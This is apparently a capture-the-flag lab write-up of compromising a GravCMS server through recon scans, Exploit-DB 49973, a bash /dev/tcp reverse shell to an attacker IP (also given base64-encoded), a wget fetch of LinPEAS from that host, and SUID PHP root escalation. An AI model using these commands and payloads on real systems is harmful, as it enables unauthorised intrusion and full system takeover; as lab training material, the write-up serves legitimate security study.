Initial Reconnaissance
I started off by scanning the target machine (192.168.150.12
) to see which ports were open. For speed, I used rustscan
, a fast port scanner that helps identify services quickly.
rustscan -a 192.168.150.12
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
The scan revealed that two ports were open:
- 22/tcp (SSH)
- 80/tcp (HTTP)
To dig deeper, I followed up with a more thorough scan using nmap
. This included service detection, version info, scripts, and OS fingerprinting.
sudo nmap -Pn -n $IP -sC -sV -A -p- --open
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
| 256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_ 256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
80/tcp open http Apache httpd 2.4.41
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2021-03-17 17:46 grav-admin/
|_
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Index of /
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 4 hops
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
The HTTP server appeared to be running Apache on Ubuntu. Port 80 also had a directory listing enabled, revealing a folder called grav-admin/
. This pointed to a site running GravCMS, a flat-file content management system.
Exploring the Web App
Navigating to http://192.168.150.12
in the browser redirected me to the Grav admin portal.
To discover hidden directories and pages, I ran feroxbuster
, a directory brute-forcing tool.
feroxbuster -u http://192.168.150.12/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
This scan confirmed the presence of the /grav-admin/
directory, which contained the login page for the CMS backend. Since we didn’t have any valid login credentials, I started looking into known vulnerabilities for GravCMS.
Vulnerability Discovery
A quick Google search led me to Exploit-DB entry 49973, which described an unauthenticated arbitrary YAML write vulnerability in GravCMS version 1.10.7. This exploit allows a remote attacker to write arbitrary YAML config files, opening the door for remote code execution.
You can also find this exploit using searchsploit
:
searchsploit -m 49973
Once I downloaded the script, I updated it to point to the correct target:
target= "http://192.168.150.12/grav-admin"
Gaining Initial Access (Reverse Shell)
To get a reverse shell back to my attacking machine, I crafted a simple payload that makes use of /dev/tcp
, which is a way to initiate TCP connections from bash.
The payload:
/dev/tcp/192.168.45.155/44440>&1
To insert this into the exploit, I base64-encoded it using CyberChef:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE1NS80NDQ0IDA+JjE=
I then set up a listener on my Kali machine to catch the reverse shell:
rlwrap nc -nvlp 4444
Finally, I ran the Python exploit:
python3 49973.py
Shortly after, the listener received a connection from the target:
┌──(kali㉿kali)-[~/Astronaut]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.45.155] from (UNKNOWN) [192.168.150.12] 52472
bash: cannot set terminal process group (5774): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gravity:~/html/grav-admin$
www-data@gravity:~/html/grav-admin$ whoami
whoami
www-data
At this point, I had limited shell access as the www-data
user, typically the default web server user.
Privilege Escalation
To look for ways to escalate privileges, I transferred a post-exploitation tool called LinPEAS to the target machine:
wget http://192.168.45.155/linpeas.sh -O linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
While analysing the LinPEAS output, I noticed something unusual: the presence of a SUID binary for PHP (/usr/bin/php7.4
). A SUID binary runs with elevated privileges (like root), regardless of who executes it. This was a solid privilege escalation path.
Exploiting the SUID PHP Binary
After checking GTFOBins for PHP SUID techniques, I found the following command that uses pcntl_exec()
to spawn a shell with root privileges:
CMD="/bin/sh"
/usr/bin/php7.4 -r "pcntl_exec('/bin/sh', ['-p']);"
Running this gave us a root shell:
www-data@gravity:~/html/grav-admin$ CMD="/bin/sh"
CMD="/bin/sh"
www-data@gravity:~/html/grav-admin$ /usr/bin/php7.4 -r "pcntl_exec('/bin/sh', ['-p']);"
</usr/bin/php7.4 -r "pcntl_exec('/bin/sh', ['-p']);"
whoami
root
Root Flag
Once root access was achieved, I grabbed the root flag:
cat /root/proof.txt
66c8b95cc540f7ac6ad862ad15ee8e12
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:ab:e2:4b brd ff:ff:ff:ff:ff:ff
inet 192.168.150.12/24 brd 192.168.150.255 scope global ens160
valid_lft forever preferred_lft forever
Final Thoughts
This box highlighted the importance of:
- Enumeration and passive recon (finding GravCMS)
- Knowing how to search for and adapt public exploits
- Post-exploitation enumeration for privilege escalation